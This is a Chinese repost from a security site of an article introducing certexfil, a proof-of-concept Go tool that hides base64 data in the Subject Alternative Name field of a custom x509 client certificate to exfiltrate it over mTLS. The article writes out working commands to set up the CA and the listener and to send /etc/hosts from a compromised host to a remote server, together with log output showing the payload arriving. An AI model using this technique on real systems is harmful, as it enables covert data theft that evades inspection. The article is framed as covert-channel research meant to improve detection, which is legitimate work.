欢迎来到 黑吧安全网 聚焦网络安全前沿资讯,精华内容,交流技术心得!

利用x509数字证书实现数据渗透

来源:本站整理 作者:佚名 时间:2019-07-11 TAG: 我要投稿

“当恶意软件和/或恶意行为者从计算机执行未经授权的数据传输时,就会发生数据泄露。” – 维基百科
数据泄露可能是内部人员和黑客的主要目标。因此,你就需要思考如何发送这些数据。
我发现大多数公司对这方面的问题几乎没有什么防护措施(例如,中间人代理和TLS拦截),检测通常也少的可怜……但有时,这可能是一个挑战。
对于工作和业余爱好,我围绕数据混淆和隐蔽通道编写了大量的工具,并总是在为构建更好的安全检测和改善响应时间做努力。
本文我们将讨论如何将数据嵌入到自定义SSL证书中,并通过mTLS针对一个远程侦听服务来使用它。
这是作为POC而写的,也是我在Go中的编写第一个程序。
从 TLS 到 mTLS?
TLS(安全传输层协议)是一种加密协议,用于在客户端和服务器之间提供通信安全性。为此,证书颁发机构(“CA”)会为服务器颁发一个签名证书,以向客户端证明其身份。该客户端可以检查证书,并查看签名的CA是否真正受信任。
虽然TLS主要是对服务器进行身份验证,但Mutual TLS添加了客户端的身份验证,该身份验证将由受信任的CA提供签名证书。
x509 证书滥用
X509证书可以使用主题别名或SAN进行扩展。

这意味着我们可以在证书创建期间添加字面量(literal)值,这些值可以是从电子邮件,IP到DNS名称的任何内容。
同样,可以在此SAN中添加任何内容,这里并没有真正的验证,只需使用DNS: (.*)的格式即可。
那么,我们是否可以在这个位置隐藏一段我们的payload代码呢?即 DNS: base64(content)。

Certexfil
它有三种模式:
使用 — ca创建客户端和侦听端都使用的CA架构;
使用 — listen,启动一个mTLS侦听器(你需要来自 — ca的CA文件)
使用 — payload和 — host,将payload(文件,stdout)注入自定义客户端证书,然后立即用它连接到侦听服务。
代码可以在这里找到:https://github.com/sourcefrenchy/certexfil
Certexfil 加密 payload
我使用了一个简单的编码模块对payload进行了base64编码,但在这个阶段似乎没有什么用。显然,我需要在某一点上做些加密,或者我应该将它重命名为encodepayload

。为此,我在go中创建了一个用于加密payload的模块cryptopayload。
代码可以在这里找到:https://github.com/sourcefrenchy/cryptopayload
用法
创建CA/服务器证书
这将创建包含用于mTLS的server_cert.pem和server_key.pem证书的./CERTS目录(客户端和侦听模式将使用这些目录:
somewhere$ certexfil -ca -ecdsa-curve P521 -host remote.server.com
现在,请确保你的远程服务器上有certexfil二进制文件和创建的./CERTS目录。然后,启动侦听(默认为:所有接口,tcp/8443)
remoteserver$ ./certexfil -listen
客户端/受妥协主机发送 payload
在本例中,我们尝试通过生成自定义证书并建立与远程侦听器的mTLS连接,来对我们的“/etc/hosts”文件进行数据泄露,所有这些操作只需下面这一行命令:
06:52:14 jma@wintermute Go-Workspace → certexfil --host remote.server.com --payload /etc/hosts
2019/05/31 18:52:23 [*] Reading from file..
2019/05/31 18:52:24 [D] Payload (raw)  --> 127.0.0.1 ...(225 bytes)
2019/05/31 18:52:24 [D] Payload (Prepare()) --> �...  (173 bytes)
2019/05/31 18:52:24 [*] Generated custom cert with payload
Oo
我们可以在本地检查创建的新证书(client_cert.pem)和SAN区域中添加的payload(base64)。让我们使用openssl再检查一遍:
$ openssl x509 -in ./CERTS/client_cert.pem -text -noout
 grep -A 5 "Subject Alternative Name"
            X509v3 Subject Alternative Name:
                DNS:x.io.net, DNS:
H4sIAAAAAAAC/0TNMa7DIAwG4DmcwtKbH4IMqcQNunXoBQgxDaoDCJOmx69o08abP1v/r/uTVFJJ3VFylubEVXxMS91tIVYsy1pRiD+4zgg+EaUtxBtQiMhgC8KEHIodqV0LnC+PAZzNb2h5LIzR0Cbk4f9Xs28pj9bdhUeljFHHS8QqvD9wcZZrLujDs3nfMptbopgm5B37L5a0ViwsXgEAAP//pJPCNuEAAAA=    Signature Algorithm: ecdsa-with-SHA512
         30:81:88:02:42:01:aa:73:a9:af:03:4f:21:16:dd:62:4a:af:
         59:6b:89:f5:a6:6d:e6:f1:21:40:ff:c8:32:f7:99:4f:d9:c8:
         7f:b3:ac:43:1f:71:09:86:f4:be:7b:af:93:31:e2:fb:ec:e8:
检索侦听端上的 payload
验证客户端连接提供的证书后,我们可以检索payload,从base64解码并显示它:
○ → ./certexfil --listen
2019/05/31 22:51:01 [*] Starting listener..
2019/05/31 22:52:24 [*] Payload received: H4sIAAAAAAAC/0TNMa7DIAwG4DmcwtKbH4IMqcQNunXoBQgxDaoDCJOmx69o08abP1v/r/uTVFJJ3VFylubEVXxMS91tIVYsy1pRiD+4zgg+EaUtxBtQiMhgC8KEHIodqV0LnC+PAZzNb2h5LIzR0Cbk4f9Xs28pj9bdhUeljFHHS8QqvD9wcZZrLujDs3nfMptbopgm5B37L5a0ViwsXgEAAP//pJPCNuEAAAA=

[1] [2]  下一页

【声明】:黑吧安全网(http://www.myhack58.com)登载此文出于传递更多信息之目的,并不代表本站赞同其观点和对其真实性负责,仅适于网络安全技术爱好者学习研究使用,学习中请遵循国家相关法律法规。如有问题请联系我们,联系邮箱admin@myhack58.com,我们会在最短的时间内进行处理。
  • 最新更新
    • 相关阅读
      • 本类热门
        • 最近下载